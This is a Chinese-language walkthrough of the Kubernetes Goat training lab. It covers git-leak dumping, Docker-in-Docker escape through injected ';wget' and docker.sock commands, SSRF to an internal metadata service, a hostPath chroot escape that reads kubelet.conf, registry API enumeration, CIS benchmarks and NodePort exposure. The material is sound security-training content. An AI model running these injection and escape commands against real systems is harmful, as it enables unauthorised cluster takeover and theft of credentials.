实验环境：https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x1、敏感信息泄露利用
第一关是代码泄露利用，打开网站后显示：
告诉我们这是一个代码构建服务。
我们可以测试是否存在git泄露
可以访问到git的配置文件，然后可以尝试从网站转储 git存储库
这里使用的工具是git-dumper：https://github.com/arthaud/git-dumper
用法如下:
git-dumper http://website.com/.git ~/website
它会自动遍历路径和获取代码。
等待获取完成，然后查看获取的仓库内容：
使用git log可以查看代码提交的日志记录：
然后可以使用git checkout检出特定的提交，比如有一个包含环境变量的提交，检出来看看，说不定有敏感的信息：
查看.env文件：
还可以用另外一个工具trufflehog 对.git目录进行分析：
产生漏洞的原因：开发人员提交代码的时候，将敏感信息也提交进去了。
0x2、Docker in Docker 利用
第二关是DIND (docker-in-docker) exploitation
描述：大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中，我们尝试利用并获得对宿主机系统的访问权限。
访问后的页面内容：
看起来像是存在命令注入漏洞，我们测试一下：
果不其然。
如果要利用docker in docker进行逃逸，前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件，我们就可以通过 Docker Socket与宿主机的Docker服务进行通信，我们可以通过它创建新的容器，并把宿主机的目录挂载到新创建的容器中，这样我们就能访问宿主机的资源了。
查看是否存在docker.sock挂载
然后我们下载一个docker可执行程序，注入如下命令：
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
解压缩：
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
0x3 SSRF漏洞
第三关是SSRF in K8S world
场景描述：SSRF（服务器端请求伪造）漏洞是云原生环境的首选攻击方式。在此场景中，我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。
访问应用页面：
这应该是一个内部API代理服务
我们尝试一下访问内部的服务，比如容器服务
可以看到内部有一个http://metadata-db服务，访问看看
可以看到有一个latest的路径，我们继续访问http://metadata-db/latest/
可以发现好几个路径，通过枚举尝试，最终在http://metadata-db/latest/secrets/kubernetes-goat中发现了关键信息：
看起来像Base64编码的字符串，解密看看：
0x4 容器逃逸到宿主系统（敏感目录挂载）
访问这一关的页面
是一个Linux shell环境
场景描述
大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中，我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod，它允许我们访问宿主机系统并提供节点级配置，这样会带来可以获取整个集群控制权限的危害。
查看当前环境的基本信息
可以发现当前用户权限是root，系统是运行在docker 容器中。
查看挂载信息：
可以看到一个host-system的挂载，像是直接挂载的宿主机分区。查看里面的内容：
看起来像是把宿主机完整的系统都挂载进来了。
那么我们可以用chroot切换到宿主机的目录，获取对宿主机系统的权限访问
chroot /host-system bash
我们使用docker ps查看宿主机运行的容器
我们的目的是控制整个Kubernetes集群，查看Kubernets节点级配置文件：
cat /etc/kubernetes/kubelet.conf
然后我们可以利用配置文件获取集群内的所有资源
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
0x5 Docker CIS 安全基线分析
场景描述
该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析，以识别可能存在的安全漏洞。
首先需要部署docker bench security将它启动为DaemonSet
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。
controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh
~ # cd docker-bench-security/
~/docker-bench-security # ./docker-bench-security.sh
如果有多个节点，就依次进入并执行。
然后，可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复。
0x6 Kubernetes CIS 安全基线分析
场景描述
本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析，识别可能存在的安全漏洞。
首先，我们在节点上部署kube-bench security为Kubernetes job
controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml
job.batch/kube-bench-node created
controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml
job.batch/kube-bench-master created
controlplane $
然后获取pod信息和查看jobs列表
查看kube-bench-node-xxxxx pod 的日志
然后，可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。
0x7 攻击私有仓库
场景描述
容器仓库是存储所有容器镜像的地方。大多数情况下，每个组织都有自己的私有仓库。有时候会因为配置错误，导致仓库处于公共/开放状态。另一方面来说，开发人员因为使用内部私有仓库，可能会在在容器镜像中存储一些敏感信息。
因为这里已经设置好了私有仓库的端口，我们直接访问即可，如果是实际的安全测试中，需要进行扫描或者信息收集来确定私有仓库的地址和端口。
https://2886795289-1235-simba09b.environments.katacoda.com/v2/
我们可以用一些API来测试访问仓库的信息
API文档参考：https://docs.docker.com/registry/spec/api/
https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库
查看具体的仓库信息：
https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest
经过审计，可以看到 docker 镜像信息中有API 密钥信息和 ENV 变量等敏感信息泄露。
然后可以更进一步通过docker pull将镜像下载到本地并进行分析。另外在某些情况下，甚至可以根据权限和特权将恶意的镜像推送到仓库。
0x8 NodePort 暴露风险
场景描述
NodePort是Kubernetes的三种外部访问方式之一。NodePort 服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口，任何发送到该端口的流量都被转发到对应服务。
如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务，这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。
获取Kubernetes节点外部IP地址列表，因为这里是实验测试环境的原因，所以 EXTERNAL-IP显示为
kubectl get nodes -o wide
默认情况下，NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。
访问对应的端口查看暴露的服务信息
此漏洞/攻击取决于 Kubernetes 集群的配置方式。
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